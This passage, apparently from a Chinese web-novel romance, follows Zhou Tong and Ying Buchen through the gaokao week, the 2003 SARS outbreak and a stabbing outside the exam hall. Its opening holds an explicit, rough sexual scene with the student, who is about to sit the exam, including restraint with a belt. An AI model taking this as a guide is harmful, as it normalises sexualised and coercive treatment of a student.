“你好好开你的车呀,”应不尘侧过来说话,热气儿都呼在小腹上,“我看看咋啦,这么小气呢。”
“你压我腿呢,我一会儿开过头了。”周瞳轻轻拍了他脑袋一下,“别闹。”
“那你停车呀。”应不尘也不管他,顺手就开始拉链子。
“你真的要死....”周瞳无奈一脚刹车,手扣在他后脑勺防止撞到。
“你要高考你知不知道?”周瞳一脸义正辞严。
“我们老师说了叫我们神经不要紧绷,放松放松,”应不尘的吻落下,抱着周瞳的眼睛看,“成年人的放松方式还有别的吗?”
周瞳看着晚上九点半远处还灯火通明的学校,看见骑着自行车跟摩托车接孩子的家长,看见棍棍馄饨的老板倒开着三轮车吆喝,有点无语地问,“咱就已经放松到上大街上来了吗?”
“回家。”应不尘立马滚去了副驾,颇为撒娇,“开车呀,等啥呢。”
“我跟你说,你回去了你就洗澡,愿意看书就看会儿,再折腾给你弄生病了太麻烦。”周瞳扯好自己被他弄乱的裤子跟衬衫,“虽然我知道我这小身材天天跟你面前晃难免你对我有啥遐想,但是你还是克制一点,年轻人。”
应不尘下了车,走到驾驶室开门,把人拽了出来,说,“上副驾驶去。”
“干啥啊你要。”周瞳被他拉下来,稀里糊涂的,“你会啊?”
“不然你以为这车咋来的新春。”应不尘把他塞了进去。
熟练的点火,挂挡,油门,走了。
接着就是手在周瞳的身上乱来。
“你干啥呀你好好开车啊,”周瞳一脸不可思议,“那你让我早上天天送你?”
“我喜欢你送我。”应不尘转来问,“咋了。”
“不是你手干嘛呢?”周瞳去捂,被抓住了。
“我在开车,但是我技术一般,你乱动我要撞掉了。”应不尘脸不红心不跳的说。
“不是,我说你那你停车啊。”周瞳说,“你这雨刷器都起来了,哪有雨啊。”
“我说了我技术不好,你别动了。”应不尘的手单手搓着方向盘,一脚油门就往人烟寂静处去。
“你哪儿技术不好了?”周瞳惊诧,“我真服了,你这明显就开很久了啊。”
“我说不好就不好。”应不尘终于停了车,熄了车灯,外面依稀有点儿知了叫。
荒无人烟,风吹草摇。
“我可是良民,你别乱来,你真要考试,你再闹感冒了。”周瞳捂着自己。
“自己解了,你的皮带。”应不尘靠在方向盘上看他,眼神眺在他的皮带上。
“你有毛病吧,我还自己解了。”周瞳老脸一红,“赶紧给我下去,我领你回家了要。”
“行吧。”应不尘拍拍方向盘,似乎放弃了,“这样让你为难确实不太好。”
“那我亲一下我们就走行吗?”应不尘又问。
“你亲脸呗你亲哪儿啊?亲那个还走啥啊。”周瞳扣起自己的扣子来。
“我就说的亲亲你的脸,你急啥啊?克制一点年轻人。”应不尘从驾驶室走出来,绕旅一圈来副驾,拉着杠座位就往后退。
应不尘单膝跪在中间,抱着他的腰,就轻轻吻在他的脖颈,他的手在小腹处游走,一下下地点在劲瘦的腰上,“确实,有遐想。”
接着,周瞳感觉到凉丝丝的东西。
“什么东西啊?”周瞳问他。
“车钥匙,我塞你内裤里了。”应不尘蹭着他的鼻子,“解皮带给我看,不然走不了了。”
“我解皮带抽你信不。”周瞳掐着他脸咬在他耳垂上,哑声,“别觉得你要考试了我就不敢揍你。”
“求之不得呢。”应不尘贴得他更近,在他的手心舔了一口,遂抬眸看他。
周瞳眯起眼睛看
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他,骂了句什么没听清。
按着他的脑袋起身,出了副驾驶就松了皮带扣,单手按着他的脑袋就把他跟座椅头垫用皮带扣在了一起。
“疯是吧?”无可躲避的绝佳驾驶位,是想要驾驶一番的艺术品。
车辆不懂偷欢的情人为何要使劲儿让他摇晃,生怕无人路过。
钥匙落地了,03年纯粹的机械钥匙都已经被捂热了,砸出了清脆的音,周瞳捡了起来,解开了他的束缚就将这钥匙塞进他嘴里,掰着他脑袋就就往下面按。
“要是钥匙刮到我,我就塞你身上玩。”
小心的避让,行驶,吞咽着口水,金属太冷,磕在牙上让人生痛,他只能卷着舌头瑟缩着,呼吸凌乱的时候仰望他,他好像从不懂怜香惜玉,应不尘去看他的眼睛,还是那样水波不动的,冷静审视的眼睛,看他像看一个随时都能丢弃与发泄的玩具。
他拼命讨好,终于被丢在副驾驶,他还慈悲地扔了一件衣服在他身上。
“拿来。” 他坐在驾驶位伸手。
应不尘蹭过来,把下巴放在他手上,缓缓吐出钥匙。
他嫌弃地拎起来,全部擦在了应不尘的脸上,又插入了车辆。
“应不尘。”周瞳喊他。
“啊。”应不尘缩在副驾驶,嘴巴痛,别的地方也痛。
“你那个嘴吃不了饭你就怪你自己。”周瞳瞧了他一眼。
“你不心疼人。”应不尘闷声说。
“那没办法,”周瞳看了他一眼点了根烟,“看你那个样儿我就想这样。”
“我啥样了?”应不尘躲在周瞳的衣服里,他的衣服有他身上的味道,他闻了一下,“我不就想,简简当当的,看一下里解皮带吗,看看,不就行了吗。”
“完了,这舌头都大了。”周瞳噗嗤乐了,“真活该呀你。”
应不尘吞了口口水,说,“谁大舌头啦!”
到家楼下了,应不尘披着周瞳的衣服回了家。
“你得喝牛奶啊,这牛奶山里的牛奶场挤的鲜奶,我不知道那儿有,还一直让你喝盒装的,”周瞳开火热牛奶,“一会儿好睡觉。”
应不尘圈在他腰上,说,“那你跟我干杯。”
“你喝啥都要干杯呢,你喝药咋没找我干杯,酒蒙子啊你是。”周瞳打趣他,给他把牛奶倒杯子里。
“我小时候你就跟我干杯,”应不尘蒙在他后背,“教我说敬酒话。”
“我都教你啥了。”周瞳给他奶里加糖,这狗崽子不喝没甜味的。
“你教我的第一句是,干了,话都在里面了。”应不尘说,“不教点好的。”
“来,喝牛奶,我给你晾晾,一会儿嘴痛又要作。”周瞳牵着他出来,窗帘大开,晚风喜人。
“最后几天了,”周瞳蹲在他边上看他,用勺子搅着,呼呼地吹气,“哎哟,比我在号子里的最后几天看着都难熬呢。”
“快了,”应不尘垂着眸子说,“就可以每天跟着你了。”
“差不多了,喝了,我抱你回去睡觉。今晚上别看书了。”周瞳摸着杯子的温度,递给他。
“你好久没抱我睡了。”应不尘有点儿委屈地说,“每次我看完书,你都睡觉了。”
“装的,”周瞳刮了一下他鼻子,“我每天都看完你读书了行不,你那劲儿一抱谁顶得住啊,好赖我想熬着等考试之后吧,你又给我唱大戏。”
“你每天等我睡了才睡呢?”应不尘惊喜地看着他,捧着牛奶就喝。
“咋没,”周瞳说,“昨晚上读完书抽了根烟,前晚上睡觉前还偷亲我了,我咋不知道。”
应不尘圈着他的脖子,啵唧亲了一口。
82.高考来了
应不尘这年的高考新闻层出,周瞳光是守着电视看都听闻了不少。
应不尘真到要考了的时候倒是吃嘛嘛香,睡得也熟。
周瞳夜半坐在他的书桌前,别人的课桌上都有一些给自己打气的话语,去开家长会什么的都会看见,黑板报上的也是,整个学校就让人汗毛倒立的。
应不尘的书桌面前只是贴了一张简单的便签,上面就写了两字儿,就是周瞳的名字。
人就在边上,还用得着这样吗?年轻人总是藏不住事儿呢。
“瞳哥,还没睡呢?”应不尘睡得迷迷糊糊。
“这不是你要考试了,我再给你检查一下。”周瞳说,“别落下东西才好。”
应不尘起来,支着脚从包袋子里掏出一根答题的笔,说,“你咬一口。”
“毛病,我我不咬你耳朵我咬笔干啥?”周瞳说,“回头笔进不去考场了。”
“你咬一口。”应不尘支着脑袋看着他。
“我不如在你手上咬一口。”周瞳说。
应不尘把手伸过去,说,“咬呗。”
周瞳轻轻留下个牙印,把他拢在怀里剪指甲,“明天考试了,人没啥不舒服吧?”
“没有。”应不尘闭着眼睛让他抱着,手垂着,“总算能考了,我都快烦死了。”
“暑假给你找了活干,行吗?”周瞳给他慢慢剪。
“行。”应不尘说,“干啥都行。”
“你都不问是啥活儿啊。”周瞳亲了亲他的后脑勺,“万一没意思呢。”
“我能看见你,在哪里都有意思。”应不尘闭着眼睛,似乎要睡着了。
“可能会喜欢。”周瞳说。
“这事儿我不着急,别的事儿我着急,”应不尘动了动他的手指。
“戴上去就不摘了。”周瞳看着他的手指,白白净净的都剪干净了。
周瞳又起来给应不尘考试的衣服选了选,“娘娘腔找半仙算了,说你这个得穿白衣服考试,对你好,然后你上厕所,你在家里上完,别去学校上,给你气运乱了,然后你明早早点儿你给汪奶上香磕头,知道不。”
“瞳哥,”应不尘穿着白色的背心躺在床上,“你现在咋迷信成这样了,你从前好像从来不信这些呀。”
“那叫啥,没有香火的不是,”周瞳说,“我可是在庙里烧大蜡烛了,你这个前程比起来,这些东西算啥。”
“我说你身上咋一股子蜡烛味道,”应不尘说,“身上还有金色的墨,搞半天你昨天描字去了啊。”
“那可不,”周瞳瞥了他一眼,说,“都得心诚这玩意儿。”
周瞳蹲在地上看鞋子,又在找袜子,应不尘趴在他的背上,说,“你咋这么好呢。”
周瞳说,“这鞋也有讲究知道不,娘娘腔找神婆念经的了,都是经熏的。”
“我咋觉得他们都在骗钱,我能考出来就考出来,考不出来那搁我头上骑个半仙也不行啊,哪能突然会了。”应不尘让他背着走。
“那咱不管,”周瞳背着他在房间里转,“哎哟我的宝贝儿,沉了点。”
“瞳哥,你们搁学校门口等我吗?”应不尘圈着他的脖子。
“那肯定啊。”周瞳给他放下来,往他嘴里塞了根烟,“考完了就不能抽了啊。”
“嗯。”应不尘吸了一口,“我都不知道这有啥好抽的,就见你一直抽。”
二人依靠在窗台上。
“瞳哥,咱俩过一辈子,行吗?”应不尘望着外面的月亮出神。
“行啊。”周瞳搔他的下巴,“你不嫌弃就行。”
“瞳哥。”
“嗯?”
“瞳哥。”
“嗯?”
“瞳哥。”
“说事儿。”
“我就想叫叫你。”
“该睡觉了。”周瞳把他抱起来,“明儿还得考试呢。”
“慌啥呀,”应不尘说,“又不是你考,你那个戒指都摸多少回了。”
“比我判刑还慌神呢。”周瞳说。
“那你当我判刑去了吧。”应不尘说,“我不慌。”
“瞎说八道的。”周瞳抱着人去睡觉,像小时候一样抱着拍。
“我想给你很多很多钱,爱,还有花,”应不尘闭着眼睛,“等等我。”
*
一大早娘娘腔跟小眼镜还有佟老师就在楼下了,齐了就开始给他们打电话。
应不尘都要高考了还赖床,周瞳把人捞起来给他按照娘娘腔说的都给他穿上,在汪奶奶面前又跪着磕头。
“我汪奶笑我,一个破高考还要劳她老人家出马。”应不尘说。
“闭嘴吧,叫你磕头就磕。”周瞳拍了他的背一下。
看着黄道吉日的时间就出门了。
一辆小车塞得满满当当。
“尘儿,别紧张啊,真不是什么大事儿。”娘娘腔被挤在中间,手上还有一条串儿。
“人家小尘本来不紧张,你老墨迹墨迹的,”小眼镜说,“尘儿,你别理他,你就好好考就行。”
“佟老师,你不是老师吗?!你倒是说两句啊!”娘娘推了他一把。
“啊,”佟老师推推眼镜,郑重其事地说,“凯旋而归,金榜题名。”
“你看看人家说的话,你看看你说的话,”小眼镜说,“啥叫档次?”
“你有档次,你说啊!”娘娘腔跟小眼镜都要踢起来了。
周瞳点了根烟,扣着副墨镜,对应不尘说,“他们说要给你整点儿排面,让我拒了,我说咱排面等成绩出来定呗。”
“别,别别,”应不尘摆着手对后座说,“我好好考,我们,我们别...”
“说你想的招丢人现眼呢!”娘娘腔说,“没看我今天穿旗袍,尘儿,来,你摸我裙子,你一会儿旗开得胜。”
“恶心死了,一会儿让人家都笑话小尘你就高兴了。”小眼镜别过去不看他。
学生都开始往考场进了,“到了,下车。”周瞳抓住了应不尘的解开安全扣的手,等他们下车的瞬间,亲吻在他的脸颊,“啥样都行,我等你回来。”
应不尘一路三回头的跟他们挥手。
高考场外都是加油打气的家长,小眼镜说,“我咋比小尘还紧张。”
“用你紧张,”娘娘腔可劲儿地挥手,“好好考!”
周瞳插着兜,看着应不尘进去。
二人交换目光。
“咱是搁这儿等还是回去啊?”娘娘腔问,四周的人群也开始散了,这儿不让这么多人逗留。
“回呗。”周瞳叼着烟往车上去,“等最后一门考完再来呗,完了一起吃饭。”
“行。”娘娘腔上了副驾驶,他不乐意跟小眼镜坐一起。
刚到店子,众人下车,周瞳的手机响了,周瞳看了一眼接起来,喂了一声,脸色就变了。
“咋了?”娘娘腔问。
“你们仨这几天就上家里去管小尘,我得出去了。”周瞳犹豫了一瞬,说,“小嘉的电话,风筝出了点事。”
“风筝...”娘娘腔嗓子有点干,说,“不都出院了么...”
“没事儿啊没事儿,”周瞳
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说,“我得去一趟,小嘉没法子,尘儿...能明白的,你们管着就行,没事儿。”
周瞳回家草草拿了一些东西,看了一眼那个放的高高的他修好画好的存钱罐,放在茶几上,钥匙就在存钱罐里面,压着应不尘厚厚的车票。
周瞳打开了抽屉,抽走了自己的那一枚,又给锁上了。
被锁住的抽屉里有他写的情书跟戒指,应不尘老看着那抽屉发呆。
周瞳锁了门,就匆匆往省城赶。
小嘉刚刚跟他打电话说,“周...周哥,风筝,风筝这几天又咯血了,我我家里人不让叫我去省城,省城的人都得病了!你救救风筝,行吗,她被我娘家人放医院,没领回来了!周哥...我对不起你...”
周瞳当时还没感知到,到底哪句省城得病了是什么意思。
周瞳匆匆地往医院赶,看着表心里牵挂着应不尘。
佟老师他们会去接的,他们看应不尘也像看心肝。
距离省城还有一段路的时候,电话响了。
“喂?”周瞳接起来,不好意思地说,“临时风筝有点事儿了,这都没陪着你考试呢。”
“不要紧的,我只是考试而已,又不是什么大事情,你到省城了吗?”那边传来应不尘的声音。
“快到了,”周瞳说,“下午还考呢,他们管你吃饭了吗?”
“管了,”应不尘说,“他们在做饭呢,家里很热闹,他们都没去忙自己的事儿,就光看着我了。”
“行,你晚上要是一个人睡怕,你就...”周瞳有些不放心。
“他们说要在家里打地铺。”应不尘说,“你不用牵挂我,我知道自己现在应该干什么。”
“真懂事,”周瞳换了一只手接电话,说,“晚上你睡不着就给我打电话,好不好?”
“嗯。”应不尘说,“我考完你要是赶不回来,我就自己开抽屉了。”
“不等我回来给你戴啊?”周瞳笑着说,“我实在不成,带上东西过来我给你戴。”
“我现在就戴,”应不尘说,“反正你管不着了。”
周瞳说,“你说话算话,考完就是考完的。”
“你咋啥都知道呀,”应不尘说,“我撰着钥匙我都不敢开。”
那边有吵闹声。
“他们叫我吃饭了,”应不尘说,“那我先去吃饭了,你有时间给我发短信,我考完看行吗?”
“行呢,有功夫就给你发。”周瞳说,“去吧。”
打完了电话,周瞳的心才算落到胸腔里。
前面就到省城了。
省城的医院这次人特别多,堵在过道上,无一不是咳嗽,瞧着像一群肺痨开会。
周瞳穿着人墙,终于在尽头的病房看见了病恹恹的风筝。
管床的大夫脸色也不好,拿着报告看,见了周瞳说,“这回又得住院,再来一遭,但是这次...”
大夫看了看人流,扯了扯口罩,说,“不叫换人看护了,你确定你在这儿吗?”
“我确定。”周瞳说。
他听见了,这里充斥着一个词儿,叫非典。
是一种不知道自己会不会死的毛病。
周瞳吸了吸鼻子,没人应该替他来。
风筝的手续办完了,她陷入无休无止的沉睡,叫也叫不醒,比之前看着更难捱了。
周瞳抓着她的小手,突然觉得她还是长得有点像他爹。
周瞳拢过她已经没有多少的头发,忽地落下泪来。
他太久没有看见风子了,哪怕是连照片都没有一张。
83.快来人啊
医院拉起了警戒线,医院楼下的警车不间断的呼啸,有人高喊着要药!
警察持着电棍,在这儿维护着治安,空气中都是病毒,在这里好像无人能自保。电视里开始播放各项的指示,要众志成城,要击败非典。
周瞳搓着手,穿过拥挤的走廊到天台上抽烟,这儿的人不少,刷白的面孔让人看了害怕。周瞳在角落点了根烟,眺望看见有白色的担架从医院门口蒙着脑袋抬出去,死人了。
周瞳的心跳像打鼓,此时他感觉自己的嗓子也开始痒了,像那些得了肺痨的人一样,痒得受不了。
周瞳看着手表,时间已经到了应不尘正在考第二门课的时候,娘娘腔给打来了电话,“瞳啊,尘儿送进去考数学了,你那儿有指示吗?”
“我这都成啊,”周瞳说,“就是风筝那事儿就再来一回呗,放心吧,兜里有钱,没钱就花你们的。”
“说那话,你就花呗。”娘娘腔说,“都造完我心里舒坦。”
“贱不贱呀你,那钱都得换成药,那风筝不得遭罪呢?”周瞳佯装轻松,“尘儿你们看住了啊,少一根头发我回来跟你们没完没完的。”
“咋呢,给我吃了啊?”娘娘腔那边兴致倒是不错,说,“看着有心事,眼巴巴的,但是还是读书了,小眼镜说估计最后一门考完人就跑了,得找你去。”
周瞳迟疑了一下,说,“不太行,叫他别折腾,等我回去的,他考完了没啥事,你把那店子叫他去看看,叫他把剩下的弄完等我回去。”
“那你一个人能行吗?”娘娘腔说,“过去过去呗,总比你一个人在那强啊。”
“风筝那样儿,尘儿见了也舒服,”周瞳磨了下牙说,“高考完还要出分填志愿什么的,他一手弄完嘛。”
“也是。”娘娘腔说,“尘儿年纪小,见了估计害怕,照你说的,给他找事儿干,然后看看都弄完了咋说呗。”
“看住了,成吗?”周瞳说。
非典对于省城的冲击还远远没有这么简单,周瞳陪床的第一夜就听见了哭喊的女声,边上的大哥也没闭眼睛,说,“这女的,全家都死非典里面了,疯了,每天晚上都在喊。”
“咱会得吗?”周瞳躺在折叠椅子上问,搓着手上的戒指。
“看命。”大哥此时剧烈的咳嗽起来,用尽了自己的力气,躺在椅子上,也不知道对谁说,“几天就没了,咳着咳着就咳死了。”
陌生人在同一个病房下,不分高低贵贱,不分高尚卑鄙,死亡面前才是人人平等。
“都睡不着。”大哥看着天花板,“死了百来号了,你还是新来的。”
“得来,我兄弟的姑娘。”周瞳说,“她爹为了我没了。”
大哥似乎跟听了中午吃了土豆丝一样的平稳的心情,说,“进来这一遭,就得看谁命硬了。”
周瞳笑了一下,说,“我觉得自己命还挺硬的呢。”
“活着的时候都这么想,”大哥说,“这儿的医生都病了。”
病房陷入长久的沉默,病房素色的帘子之外,整个城市都陷入了爆裂的恐慌。
周瞳给应不尘发消息:「睡着了吧?」
那边的应不尘马上就回复了:「有一点点想你。」
「就一点点啊?」周瞳回。
「你怎么不问我考的好不好?」应不尘答。
「你好就行,那玩意儿不就是拿来磨心性的吗,好坏的都一样。」周瞳给他打字。
「今年的卷子特别特别难,考完就有人哭了。」应不尘回。
「那你哭鼻子没?」周瞳撑着脸给他打字。
「一点屁事我哭啥。」
「那行,快睡,明天还得考呢。」
「明天考完就结束了,五点半我就考完,我坐车去找你呀。」应不尘回。
周瞳挠挠头,给他回:「一新桥那个送你的店子没弄完呢,你帮我看着嘛,风筝这头都是小嘉娘家人的事儿,你来了也帮不上什么忙,你等我回去,省的你来回跑。」
「送我的店?」应不尘回了一条之后又回:「那你什么时候回来,超过三天我就要来找你了,后天是我的极限了。」
能拖一天是一天。
「那你先把你考试弄好,一堆事儿了,都是我的钱,你就不能帮我操操心啊,天天就想着跟我黏一起,能不能长点心。」
「好吧。」应不尘又回,「那你早点回来,我给你看着。」
周瞳放下了手机睡不着,翻了好几次身都没有困意。
女人的哭喊还在继续,她发疯一样在街上跑,一脚一脚的,好像踹在周瞳的心里。走廊上也有低声的啜泣,出去抽烟不小心就会踢到睡觉的人。
这儿的厕所都没人打扫了,脏得不像样,臭味弥漫着,消毒水一次次的撒,板蓝根成了抢手货。
周瞳在天台上蹲着抽了三根烟,起来的时候觉得眼冒金星。
他一天都没吃下去什么东西了。
在早上九点零五分的时候,周瞳给佟老师打了电话。
“佟老师,我麻烦你个事儿。”周瞳说。
“周哥你说。”佟老师刚送完应不尘进去,此时还在笑,其他二人又掐起来了。
“你离他们远点儿。”周瞳沉了一口气。
“佟老师,我这儿闹非典了,你是看新闻的,能明白我在说什么,应不尘这个人你最近想办法给我弄住,告诉娘娘腔跟小眼镜,谁也别来逞能,现在事儿就这么个事,是捆,是绑,是关的,我不管,把他拽在新春,哪都不让去。”周瞳说完,对面的佟老师沉默了良久,问,“你现在好吗?”
“现在还成,明天不一定。”周瞳身边的那个昨晚还跟他说话的大哥,今天已经没来了,听说发烧了,发烧得躺在那里动不了。
医院没那么多人能管。
“佟老师,”周瞳眯着眼睛抽了一口烟,“要是你没看住,应不尘来了这里,回来我就我弄死你。”
“好。”佟老师的嗓子忽就干了,哑声答应,挂了电话。
在2003年6月8日下早上10点的时候,应不尘忽感觉到一阵强烈的心悸,他拍了拍自己的胸口,继续做试卷,他抬头起来看时间,周瞳最终还是在他的笔上咬了一口,谁说带不进来。
应不尘摸了摸牙印,想着回家就要开抽屉,他真的一下午都不能等了。
他无比期待周瞳的情书,他这个人,肯定写不出来啥像样的东西,但是一个猴儿有一个猴儿的栓法,情书这东西,就算只有三个字也行嘛。
周瞳的后背开始发汗,他脚下开始发虚,他想给自己打一壶热水,猛地就栽了下去。他听见耳边有人在喊叫,没人顾得上,风筝在病床上哭,他最后看见了自己手上的戒指,没来得及亲吻。
应不尘在此时打开了戒
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指盒,没忍住,戴在手上的时候偷偷背着人亲吻一下。
竟然不是花里胡哨的类型,跟他选的可太不像了。
少了一枚,他已经戴上了,这个骗子,竟然不是跟我同时戴上的。应不尘想。
下午还有一场考试,还不能现在戴,脱下来的时候才意识到周瞳说的是对的,因为他根本不想摘,哄了自己好久,才又放回去,偷偷戴,也不算违规吧?他又不知道。
应不尘摩挲着情书,决定这东西还是等下午考完了看。
2003年高考结束的下午,学校门口挤了很多很多人,送花的,欢呼的,撒书本作业的,抱着父母又亲又抱的,百人百样,喇叭的广播也在恭贺各位学子,宣传墙上变成了硕大的祝福标语。
娘娘腔跟小眼镜的脸色都不好,佟老师已经说完了,这几天他们仨啥也不干,就得看着应不尘。
在学生往外面走的时候,娘娘腔戳了小眼镜一下,恶狠狠地说,“你敢说漏嘴,你就给我死,这辈子也别见了。”
小眼镜揉了揉眼睛,提了提嘴角,又瘪回去了,“我真的笑不出来。”
应不尘在人流的后面,低着给自己戴上了戒指,拿出了那样试卷一样的情书,出来这里他就想看,又给周瞳发消息。
周瞳说小风筝吵醒了很难再睡觉,没日没夜的,短信看见了就会回,别一个劲儿的打电话。
「瞳哥,我考完了」句号还没打上,应不尘的耳边贴着就响起了一个声音,“今天你哥可没来——”
是李泥鳅的声音——
“你跟你哥那么有钱,你拿了我那么多钱,一分钱都不给我是么?”李泥鳅的声音很轻,在应不尘的耳边又像惊雷。
他感觉暖流擦过大腿,“你知道我这一年怎么过的么?”李泥鳅还在继续,他的刀捅进应不尘的侧边胸口,伤口在被反复搅动,应不尘感觉眼前发黑,发白,人流还在挤着,娘娘腔笑得像个喜剧演员,跳着脚在前面招手。
“你不是牛吗?”李泥鳅狰狞着说,“你不是光脚不怕穿鞋吗?”
“你不是说要弄死我吗?”李泥鳅像个鬼魂一样话语擦过应不尘的耳边,“你俩霸了我的钱,还把我当狗是吧?”
“你那个劳改犯,我送他去找你。”
应不尘拽着的衣服,抓住了刀柄,他想刺死他,却只看见他逃离时候得逞的笑。
应不尘直直地倒了下去,边上的女人捂着嘴尖叫起来,李泥鳅在人流里逃之夭夭。
小眼镜扒开人流挤进来,地上都是应不尘的血。
娘娘腔的脸吓得煞白,大喊,“快来人啊——”
周瞳躺在病床上,他昏昏沉沉地,不知道为啥像心里扎了一根刺般的惊醒。
他费劲地看着前面的时钟,边上的人都在咯血,咳嗽,他看见了下午五点半,应不尘应该在此时考完他的考试。
再有十五分钟,他会回家,看到自己写给他的情书跟戒指。
周瞳感觉喉头肿胀得厉害,他那只好的眼睛都快看不清楚了,重影使得这狭小屋子里的垂死之人翻倍的咳嗽。
只要得了非典的人,就会被安置在这里。
之前是个太平间。
夏日也是冷嗖嗖的,周瞳的身上起了鸡皮。
他想起应不尘的眼睛,伸手又够不着。
他想沉沉地睡一觉,他想有人能救一救他。
84.我也想你
手机响了。
周瞳费劲地支起身来。
“喂?”对面传来应不尘的声音,“瞳哥,你好吗?”
周瞳清嗓子,护着手机,不叫他听见别人跟雷一样的咳嗽声,“还行,你呢,狗崽子。”
“我好,”应不尘有点儿声音不稳,“就是,就是怪想你的。”
看吧,考砸了还是要害怕的。
“我也想你。”周瞳哑着声音,“送你的店,你看了吗?”
“风筝好吗?”应不尘问。
周瞳喘不上来气儿,掐了自己的大腿好几把,说,“再治一次,就是...就是她家弄不了,咱两养呗。”
“当然...行啊。”应不尘的声音太虚了,估计没好好吃饭。
“越长,越像她爹了,没你小时候好看。”
“你那儿有点吵,”应不尘说,“我快听不清你说话了。”
“你说话有点儿大喘气呢。”周瞳真的快没劲儿了。
“我就是想你。”应不尘清了清嗓子,“瞳哥,我爱你呀。”
“不害臊,”周瞳说,“小孩...小孩在边上呢,手机修的不好,要是没电话,就是坏了,我弄水里了,找不到,别着急,完了那什么,我也...”周瞳还没说完让他觉得害臊的话,对面的人说,“我的手机早上也摔了,打不通,别着急。”
“好。”
周瞳沉沉地睡了过去,手机掉落在地上,碎成好几瓣。
应不尘仰在急救床上任由他们推去,再也没有力气握住手机。
耳边响起尖锐的耳鸣,海里来的孩子会回去海里。
*
“瞳哥那头怎么说?”小眼镜急得直打转。
“在治。”佟老师在凳子上握着手机,“熬过去,就...就成,他那个,得,他熬过去,都...都这样治,前面的都是这样的…只能熬…”
“咋熬啊!干熬啊!想想辙啊!”娘娘喊道。
“小尘这个又咋弄啊!”娘娘腔撇着嘴哭了出来,“这孩子才考完...大好的前途的日子...咱为啥没挤到前头去!”
“别...别哭,”小眼镜掐着娘娘腔的胳膊。“医生...医生还在治,治呢,你先别哭。”
红色的手术灯还亮着。
“瞳哥还能回来吗?”娘娘腔终于还是憋不住了,啪嗒啪嗒的往下掉眼泪,“我说为啥不叫我俩去,我就疑心呢,我咋就不能多问一嘴。”
“都不想的,都不想的。”佟老师一点儿动静就惊得不行,后背出的全是冷汗,他还得配合学校跟警方去做笔录,问得他晕头转向。
手术的时间太漫长了。
娘娘腔出去打了好几个电话,省城那边缺药,你拿钱砸,人家也拿钱砸。
终于,手术灯灭了,面无血色的应不尘被推了出来。
手术顺利的消息让娘娘腔差点儿就跪下了。
他的出血量太大了,做完手术还要推到重点加护病房去。
娘娘腔在加护病房的窗口一直看,一看就擦眼泪。
“医生不是说了么,就是监护就行了,现在体征都平稳的。”小眼镜给娘娘腔递纸。
“那我瞳哥呢?”娘娘别着嘴骂,“连他妈一个看他的人都没有!”
“你轻点儿,别叫小尘听见。”小眼镜说。
娘娘腔蹲在门边,点了好几次火都没打着烟。
“去,去外面抽。”佟老师说。
小眼镜架着娘娘腔,到外面抽烟。
娘娘腔的头发已经很长了,他今天还换了红色的旗袍。
一脸都哭花了,像个鬼一样。
“我真的,我咋就不给小嘉去个电话。”娘娘腔锤着自己的大腿。
“你打了瞳哥也有法子不叫你知道。” 小眼镜的眼镜上蒙了一层雾。
“这可咋办呀。”娘娘腔说,“要是瞳哥好了,这小尘弄成这样,要是小尘好了,瞳哥没来他都能猜着出事了。”
“他俩这样的,他俩那电话,我就听着了,我心里太难受。”娘娘腔捂着脸,“这日子不才好起来吗?”
同样的监测仪器在二人的身边,听起来像心跳的重奏。
应不尘一睡就对时间没有了概念,他感觉他沉溺在爱人的怀抱,他不放手就回不来。
周瞳清醒的时间越来越少了,他时常觉得有人掐着他的喉咙在索要他的命,但是他拽了一次又一次,老子的命,那么金贵,你他妈也是有胆儿敢来拿。
但是周瞳还是怕,怕应不尘要来,怕佟老师他们看不住他。
应不尘愿意跟自己去死这事儿,在许诺海誓山盟的时候自然动听,但是真到这步不着边际的时候又想奋力推开。
周瞳已经快感觉不到自己的心跳了,他连雾蒙蒙的天花板都看不清了,这是他来这里的第四天了,他们说,熬过去,没死的人也有很多。
冰冷的药物,机械的仪器与时间的流逝。
周瞳想应不尘,如果这次能挺过去,绝对不能让他知道这事儿,不然都不知道他得哭几回才成。
如果这次能挺过去,别说过这辈子了,下辈子都成。
不想挣钱了,想玩,也不想让他读书了,就天天在家里躺着。
有什么好干的,人死了,啥玩意儿都没用。
他想起了汪奶奶的那句话,什么都没有的时候,什么都有了。
周瞳扯了扯嘴角,他感觉呼吸机的味儿真的好大。
他想亲吻应不尘的嘴角,看他在自己身上撒娇。
再也不赶他走了,每天都说好听的话哄他。
他在干嘛呢?可看见送给他的店子了?玩上弓箭了吗?做的毛笔,有没有比汪爷做的强一点儿呢,他费劲的勾动手指,摩挲不到那枚戒指,要治病,医院收走了。
另一枚也没有在应不尘的手上,安静地躺在包里。
应不尘在二天一夜的加护病房睡睡醒醒,终于在娘娘腔的祈愿里睁开了眼睛。
小眼镜扶着他,跟佟老师一起把应不尘推回去。
盐水顺着血管流进应不尘的身体,他皱了皱眉。
娘娘腔迎了上来,捂着嘴说,“小尘儿,小尘儿。”说罢眼泪又要掉下来了。
“别叫...瞳哥知道。”应不尘喘着气儿,看着窗外的天已经黑了。
“不告诉他,不告诉他。”娘娘腔拉着应不尘的手,泪珠子都断了。
“腔叔...我不疼。”应不尘干燥的嘴唇一张一合,“别哭。”
娘娘腔还是忍不住一遍遍去抓应不尘的手。“哥...不能回来。”
佟老师在外面接警察的电话,文化人表达愤怒都弱不禁风。
“腔叔,”应不尘捏着他的手说,“我手机,你给,给哥发消息,说,我们在外面吃饭,叫,叫他,把风筝治好了,一起,带回来。”
娘娘腔点着头,小眼镜凑过来看,说,“尘儿,别怕,都好了,没啥事儿。”
应不尘睁不开眼睛,他看着自己手上的戒指,有点儿希望周瞳此刻在他身边。
麻药后的阵痛让他一次次反胃,每次微小的动作都会扯着他的伤口。
娘娘腔在身边照顾着,摩挲着他的背。
应不尘靠在病床上喘气,起伏的胸腔都耗尽了他的力气。
但是没瞒住。
医院的电视播放着新闻。
周瞳所在的医院已经成了循环播放的项目。
娘娘腔就出去一会儿的功夫,回来就看见应不尘拔了输液线就拄着拐杖要走,他的肩膀剧烈的抖动,佟老师上来搀扶,他红着眼睛质问,“你早知道了是不是?”
“你们,你们早就知道了。”应不尘的伤口开始渗血,病号服下单薄的身体还在往外走,小眼镜不敢抱,又不敢让他走,拦在前面,慌不择言,“尘儿,尘儿,听话,咱,咱去了也没用,那个,就得熬。”
“尘儿,真的,”娘娘腔的脸盆都摔在地上,走廊流动着水渍,“咱不去,你养病要紧,对不对,养好了咱一起去,去接,”带着哭腔的,“成吗?”
应不尘继续往外走,佟老师轻轻抓他的手臂,“你哥,叫我,叫我把你看住,不让你走。”
